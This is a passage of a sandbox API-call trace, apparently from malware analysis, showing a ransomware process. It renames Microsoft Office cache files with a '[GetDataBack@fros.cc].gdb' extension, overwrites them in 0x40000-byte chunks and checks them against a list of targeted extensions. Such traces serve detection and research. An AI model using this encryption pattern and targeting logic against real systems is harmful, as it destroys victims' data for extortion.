dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0122.318] WriteFile (in: hFile=0x1b0, lpBuffer=0x3825b40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x3825b40*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0122.318] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x13d6b54, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0122.318] WriteFile (in: hFile=0x1b0, lpBuffer=0x3825b40*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x3825b40*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0122.320] CloseHandle (hObject=0x1b0) returned 1 [0124.413] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0124.414] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0124.414] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0124.414] lstrlenW (lpString=".doc") returned 4 [0124.414] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0124.414] lstrlenW (lpString=".docx") returned 5 [0124.414] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0124.414] lstrlenW (lpString=".pdf") returned 4 [0124.414] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0124.414] lstrlenW (lpString=".xls") returned 4 [0124.414] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0124.414] lstrlenW (lpString=".xlsx") returned 5 [0124.414] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0124.414] lstrlenW (lpString=".ppt") returned 4 [0124.414] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0124.414] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0124.414] lstrlenW (lpString=".zip") returned 4 [0124.414] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0124.414] lstrlenW (lpString=".rar") returned 4 [0124.414] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0124.414] lstrlenW (lpString=".bz2") returned 4 [0124.414] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0124.414] lstrlenW (lpString=".7z") returned 3 [0124.414] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0124.414] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0124.414] lstrlenW (lpString=".dbf") returned 4 [0124.414] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0124.414] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0124.414] lstrlenW (lpString=".1cd") returned 4 [0124.414] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0124.414] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0124.414] lstrlenW (lpString=".jpg") returned 4 [0124.414] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0124.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0124.415] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0124.415] lstrlenW (lpString=".doc") returned 4 [0124.415] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0124.415] lstrlenW (lpString=".docx") returned 5 [0124.415] lstrcmpiW (lpString1=".docx", lpString2="f.cab") returned -1 [0124.415] lstrlenW (lpString=".pdf") returned 4 [0124.415] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0124.415] lstrlenW (lpString=".xls") returned 4 [0124.415] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0124.415] lstrlenW (lpString=".xlsx") returned 5 [0124.415] lstrcmpiW (lpString1=".xlsx", lpString2="f.cab") returned -1 [0124.415] lstrlenW (lpString=".ppt") returned 4 [0124.415] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0124.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0124.416] lstrlenW (lpString=".zip") returned 4 [0124.416] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0124.416] lstrlenW (lpString=".rar") returned 4 [0124.416] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0124.416] lstrlenW (lpString=".bz2") returned 4 [0124.416] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0124.416] lstrlenW (lpString=".7z") returned 3 [0124.416] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0124.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0124.416] lstrlenW (lpString=".dbf") returned 4 [0124.416] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0124.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0124.416] lstrlenW (lpString=".1cd") returned 4 [0124.416] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0124.416] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.cab") returned 81 [0124.416] lstrlenW (lpString=".jpg") returned 4 [0124.416] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0124.416] lstrcmpiW (lpString1=".msi", lpString2=".gdb") returned 1 [0124.416] lstrlenW (lpString="InfoPathMUI.msi") returned 15 [0124.416] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0124.417] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=3124224) returned 1 [0124.417] CloseHandle (hObject=0x1b0) returned 1 [0124.417] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi")) returned 0x2020 [0124.417] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0124.417] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0124.418] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\infopathmui.msi.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0124.418] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff894 | out: lpNewFilePointer=0x0) returned 1 [0124.418] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0124.418] ReadFile (in: hFile=0x1b0, lpBuffer=0x3450058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x3450058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0124.436] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0124.436] ReadFile (in: hFile=0x1b0, lpBuffer=0x3490058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x3490058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0124.448] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2aff894 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.448] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0124.448] ReadFile (in: hFile=0x1b0, lpBuffer=0x34d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x34d0058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0124.480] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0124.480] WriteFile (in: hFile=0x1b0, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xc010a, lpNumberOfBytesWritten=0x2aff8d8, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8d8*=0xc010a, lpOverlapped=0x0) returned 1 [0124.513] SetEndOfFile (hFile=0x1b0) returned 1 [0124.517] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0124.517] WriteFile (in: hFile=0x1b0, lpBuffer=0x3835b48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x3835b48*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0124.573] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfe400, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0124.573] WriteFile (in: hFile=0x1b0, lpBuffer=0x3835b48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x3835b48*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0124.578] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x2bac00, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0124.578] WriteFile (in: hFile=0x1b0, lpBuffer=0x3835b48*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x3835b48*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0124.580] CloseHandle (hObject=0x1b0) returned 1 [0124.580] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0124.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0124.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0124.581] lstrlenW (lpString=".doc") returned 4 [0124.581] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0124.581] lstrlenW (lpString=".docx") returned 5 [0124.581] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0124.581] lstrlenW (lpString=".pdf") returned 4 [0124.581] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0124.581] lstrlenW (lpString=".xls") returned 4 [0124.581] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0124.581] lstrlenW (lpString=".xlsx") returned 5 [0124.581] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0124.581] lstrlenW (lpString=".ppt") returned 4 [0124.581] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0124.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0124.581] lstrlenW (lpString=".zip") returned 4 [0124.581] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0124.581] lstrlenW (lpString=".rar") returned 4 [0124.581] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0124.581] lstrlenW (lpString=".bz2") returned 4 [0124.581] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0124.581] lstrlenW (lpString=".7z") returned 3 [0124.581] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0124.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0124.581] lstrlenW (lpString=".dbf") returned 4 [0124.581] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0124.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0124.581] lstrlenW (lpString=".1cd") returned 4 [0124.581] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0124.581] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0124.581] lstrlenW (lpString=".jpg") returned 4 [0124.582] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0124.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0124.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0124.582] lstrlenW (lpString=".doc") returned 4 [0124.582] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0124.582] lstrlenW (lpString=".docx") returned 5 [0124.582] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0124.582] lstrlenW (lpString=".pdf") returned 4 [0124.582] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0124.582] lstrlenW (lpString=".xls") returned 4 [0124.582] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0124.582] lstrlenW (lpString=".xlsx") returned 5 [0124.582] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0124.582] lstrlenW (lpString=".ppt") returned 4 [0124.582] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0124.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0124.582] lstrlenW (lpString=".zip") returned 4 [0124.582] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0124.582] lstrlenW (lpString=".rar") returned 4 [0124.582] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0124.582] lstrlenW (lpString=".bz2") returned 4 [0124.582] lstrcmpiW (lpString1=".bz2", lpString2=".msi") returned -1 [0124.582] lstrlenW (lpString=".7z") returned 3 [0124.582] lstrcmpiW (lpString1=".7z", lpString2="msi") returned -1 [0124.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0124.582] lstrlenW (lpString=".dbf") returned 4 [0124.582] lstrcmpiW (lpString1=".dbf", lpString2=".msi") returned -1 [0124.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0124.582] lstrlenW (lpString=".1cd") returned 4 [0124.582] lstrcmpiW (lpString1=".1cd", lpString2=".msi") returned -1 [0124.582] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.msi") returned 78 [0124.582] lstrlenW (lpString=".jpg") returned 4 [0124.582] lstrcmpiW (lpString1=".jpg", lpString2=".msi") returned -1 [0124.583] lstrcmpiW (lpString1=".cab", lpString2=".gdb") returned -1 [0124.583] lstrlenW (lpString="VisioLR.cab") returned 11 [0124.583] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0124.583] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2affb44 | out: lpFileSize=0x2affb44*=50823389) returned 1 [0124.583] CloseHandle (hObject=0x1b0) returned 1 [0124.583] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab")) returned 0x2020 [0124.583] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 0xffffffff [0124.583] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[getdataback@fros.cc].gdb")) returned 1 [0124.584] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiolr.cab.id-9c354b42.[getdataback@fros.cc].gdb"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0 [0124.584] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff894 | out: lpNewFilePointer=0x0) returned 1 [0124.584] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0124.584] ReadFile (in: hFile=0x1b0, lpBuffer=0x3450058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x3450058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0124.591] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0124.591] ReadFile (in: hFile=0x1b0, lpBuffer=0x3490058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x3490058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0124.594] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2aff894 | out: lpNewFilePointer=0xffffffff) returned 1 [0124.595] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x2aff854 | out: lpNewFilePointer=0x0) returned 1 [0124.595] ReadFile (in: hFile=0x1b0, lpBuffer=0x34d0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2aff860, lpOverlapped=0x0 | out: lpBuffer=0x34d0058*, lpNumberOfBytesRead=0x2aff860*=0x40000, lpOverlapped=0x0) returned 1 [0124.612] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2affaf0 | out: lpNewFilePointer=0x0) returned 1 [0124.613] WriteFile (in: hFile=0x1b0, lpBuffer=0x3450020*, nNumberOfBytesToWrite=0xc0102, lpNumberOfBytesWritten=0x2aff8d8, lpOverlapped=0x0 | out: lpBuffer=0x3450020*, lpNumberOfBytesWritten=0x2aff8d8*=0xc0102, lpOverlapped=0x0) returned 1 [0125.105] SetEndOfFile (hFile=0x1b0) returned 1 [0125.207] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0125.207] WriteFile (in: hFile=0x1b0, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0125.208] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x1028049, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0125.208] WriteFile (in: hFile=0x1b0, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0125.209] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x30380dd, lpNewFilePointer=0x0, dwMoveMethod=0x2aff8a4 | out: lpNewFilePointer=0x0) returned 1 [0125.209] WriteFile (in: hFile=0x1b0, lpBuffer=0x38b9fd0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2aff8b0, lpOverlapped=0x0 | out: lpBuffer=0x38b9fd0*, lpNumberOfBytesWritten=0x2aff8b0*=0x40000, lpOverlapped=0x0) returned 1 [0125.211] CloseHandle (hObject=0x1b0) returned 1 [0125.212] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab.id-9C354B42.[GetDataBack@fros.cc].gdb", dwFileAttributes=0x2020) returned 1 [0125.212] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0125.212] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0125.212] lstrlenW (lpString=".doc") returned 4 [0125.212] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0125.212] lstrlenW (lpString=".docx") returned 5 [0125.212] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0125.212] lstrlenW (lpString=".pdf") returned 4 [0125.212] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0125.212] lstrlenW (lpString=".xls") returned 4 [0125.212] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0125.212] lstrlenW (lpString=".xlsx") returned 5 [0125.212] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0125.212] lstrlenW (lpString=".ppt") returned 4 [0125.212] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0125.212] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0125.212] lstrlenW (lpString=".zip") returned 4 [0125.212] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0125.212] lstrlenW (lpString=".rar") returned 4 [0125.212] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0125.212] lstrlenW (lpString=".bz2") returned 4 [0125.212] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0125.212] lstrlenW (lpString=".7z") returned 3 [0125.212] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0125.212] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0125.212] lstrlenW (lpString=".dbf") returned 4 [0125.213] lstrcmpiW (lpString1=".dbf", lpString2=".cab") returned 1 [0125.213] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0125.213] lstrlenW (lpString=".1cd") returned 4 [0125.213] lstrcmpiW (lpString1=".1cd", lpString2=".cab") returned -1 [0125.213] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0125.213] lstrlenW (lpString=".jpg") returned 4 [0125.213] lstrcmpiW (lpString1=".jpg", lpString2=".cab") returned 1 [0125.213] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0125.213] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0125.213] lstrlenW (lpString=".doc") returned 4 [0125.213] lstrcmpiW (lpString1=".doc", lpString2=".cab") returned 1 [0125.213] lstrlenW (lpString=".docx") returned 5 [0125.213] lstrcmpiW (lpString1=".docx", lpString2="R.cab") returned -1 [0125.213] lstrlenW (lpString=".pdf") returned 4 [0125.213] lstrcmpiW (lpString1=".pdf", lpString2=".cab") returned 1 [0125.213] lstrlenW (lpString=".xls") returned 4 [0125.213] lstrcmpiW (lpString1=".xls", lpString2=".cab") returned 1 [0125.213] lstrlenW (lpString=".xlsx") returned 5 [0125.213] lstrcmpiW (lpString1=".xlsx", lpString2="R.cab") returned -1 [0125.213] lstrlenW (lpString=".ppt") returned 4 [0125.213] lstrcmpiW (lpString1=".ppt", lpString2=".cab") returned 1 [0125.213] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0125.213] lstrlenW (lpString=".zip") returned 4 [0125.213] lstrcmpiW (lpString1=".zip", lpString2=".cab") returned 1 [0125.213] lstrlenW (lpString=".rar") returned 4 [0125.213] lstrcmpiW (lpString1=".rar", lpString2=".cab") returned 1 [0125.213] lstrlenW (lpString=".bz2") returned 4 [0125.213] lstrcmpiW (lpString1=".bz2", lpString2=".cab") returned -1 [0125.213] lstrlenW (lpString=".7z") returned 3 [0125.213] lstrcmpiW (lpString1=".7z", lpString2="cab") returned -1 [0125.213] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioLR.cab") returned 74 [0125.213] lstrlenW (lpString=".dbf") returned 4 [0125.214] lstrcmpiW 